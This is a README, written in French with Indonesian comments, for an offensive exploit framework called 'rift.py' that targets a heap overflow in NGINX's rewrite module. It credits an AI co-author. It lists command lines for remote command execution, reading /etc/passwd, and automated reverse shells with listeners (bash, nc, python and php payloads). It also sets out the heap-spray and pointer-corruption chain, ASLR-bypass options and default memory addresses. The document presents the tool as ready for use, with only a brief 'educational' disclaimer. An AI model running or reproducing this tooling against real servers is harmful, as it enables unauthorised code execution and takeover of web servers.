
Une faille a été découverte dans NGINX, plus précisément dans le module ngx_http_rewrite_module. Un attaquant non authentifié peut exploiter cette vulnérabilité en envoyant des requêtes HTTP spécialement conçues dans certaines configurations de réécriture. Cela peut conduire à un débordement de tampon lors de l'exécution du processus worker de NGINX, ce qui peut entraîner l'exécution de code arbitraire.
Auteur : Michael Sanji Winaya Prawiradibrata
Co-auteur IA : Varanus — mon ami
Framework d'exploitation de heap buffer overflow ciblant le
ngx_http_rewrite_modulede NGINX.
Un seul outil pour la reconnaissance + l'exploitation. Zéro dépendance externe.
| Fichier | Description |
|---|---|
rift.py | Outil principal. Combine la reconnaissance + l'exploitation en un seul script (1026 lignes). |
README.md | Ce document. |
# 1. Full reconnaissance — deteksi versi, endpoint, celah, strategi
python3 rift.py --target 10.10.10.10 --recon
# 2. Recon + exploit sekali jalan
python3 rift.py --target 10.10.10.10 --auto --cmd "id"
# 3. Command execution
python3 rift.py --target 10.10.10.10 --cmd "whoami"
# 4. Reverse shell (auto-open listener)
python3 rift.py --target 10.10.10.10 --shell --lhost 10.10.14.5 --lport 4444
# 5. Reverse shell pakai bash (instead of python)
python3 rift.py --target 10.10.10.10 --shell --shell-type bash --lhost 10.10.14.5 --lport 4444
# 6. Cek vulnerable saja
python3 rift.py --target 10.10.10.10 --check-only
Avec --shell, le script automatise :
--shell-type--lportnc -lvnp), repli sur un listener PythonSi l'adresse par défaut échoue, le script décale automatiquement la base du heap de ±5 pas × 0x10000 pour trouver une adresse qui convient. Aucun réglage manuel nécessaire.
4 types de payload shell — python, bash, nc, php. Choisissez celui qui est disponible sur la cible.
--recon exécute 5 phases :
--output json pour l'intégration avec d'autres outils ou un parsing automatique.
La cible d'exploitation est un NGINX avec une configuration rewrite + set comme celle-ci :
location ~ ^/api/(.*)$ {
rewrite ^/api/(.*)$ /internal?migrated=true; # is_args = 1
set $original_endpoint $1; # length calc pake is_args = 0
}
Conséquence : le buffer alloué est trop petit, l'échappement d'URI (expansion ×3) provoque un débordement.
1. HEAP SPRAY ─── POST /spray × 20 → tanam fake ngx_pool_cleanup_s di heap
2. TRIGGER ────── GET /api/AAAA...++++... → overflow via URI escaping
3. CORRUPT ────── Overflow tulis ulang cleanup pointer pool adjacent
4. EXEC ───────── Pool destroyed → panggil system("command")
rift.py)python3 rift.py --target 10.10.10.10 --cmd "cat /etc/passwd" --verbose
python3 rift.py --target 10.10.10.10 \
--cmd "id" \
--heap-base 0x555555659000 \
--libc-base 0x7ffff77ba000
python3 rift.py --target 10.10.10.10 --cmd "id" --tries 50
python3 rift.py --target 10.10.10.10 --recon --output json
python3 rift.py --target 10.10.10.10 --generate-exploit
# → exploit_10_10_10_10.py
nc -zv <IP> 80--port 8080, --port 443--auto pour le glissement ASLR automatique--verbose pour voir le détail de chaque tentativesudo ufw allow 4444--lhost — assurez-vous que l'IP locale est correcte--shell-type bash ou --shell-type ncCréé uniquement à des fins éducatives et de tests de sécurité autorisés.
L'utilisation sur un système sans autorisation est illégale.
© 2026 Michael Sanji Winaya Prawiradibrata
Co-auteur IA : Varanus
| Flag | Fonction |
|---|
--recon | Reconnaissance complète. Fingerprinting → fuite d'informations → test d'endpoints → nombre de workers → stratégie. |
--auto | Recon + exploitation automatiques. Identique à --recon puis enchaîne avec l'exploitation. |
--check-only | Vérification rapide. Détecte NGINX, sa version, l'endpoint /api/. |
--cmd "command" | Exécute une seule commande via system(). |
--shell | Reverse shell — ouvre automatiquement un listener, envoie le payload, reçoit la connexion. |
| Flag | Défaut | Fonction |
|---|
--port | 80 | Port cible |
--lhost | — | IP locale pour le reverse shell (obligatoire avec --shell) |
--lport | 4444 | Port local pour le listener |
--shell-type | python | Payload du reverse shell : python, bash, nc, php |
--heap-base | 0x555555659000 | Adresse de base du heap (remplacement pour le bypass d'ASLR) |
--libc-base | 0x7ffff77ba000 | Adresse de base de la libc |
--tries | 10 | Tentatives par adresse candidate |
--verbose / -v | — | Sortie détaillée à chaque tentative |
| Flag | Fonction |
|---|
--fingerprint | Détecte la version de NGINX, les endpoints, le module rewrite |
--leak | Vérifie les fuites d'informations (adresse mémoire dans la page d'erreur, timing) |
--test-endpoint | Teste le comportement de l'endpoint avec différents payloads |
--endpoint | Chemin de l'endpoint à tester (défaut : /api/) |
--generate-exploit | Génère un script d'exploitation spécifique avec l'adresse cible |
--output json | Sortie JSON (lisible par machine) en plus de la sortie terminal |
| Constante | Défaut | Signification |
|---|
BODY_LEN | 4000 | Taille du corps du spray (octets) |
N_SPRAY | 20 | Nombre de requêtes POST par tentative |
LIBC_SYSTEM_OFFSETS | 7 entries | Offsets de system() pour différentes distributions |
PREREAD_HEAP_OFFSETS | 19 entries | Offsets de heap candidats |
DEFAULT_HEAP_BASE | 0x555555659000 | Base du heap (ASLR désactivé) |
DEFAULT_LIBC_BASE | 0x7ffff77ba000 | Base de la libc (ASLR désactivé) |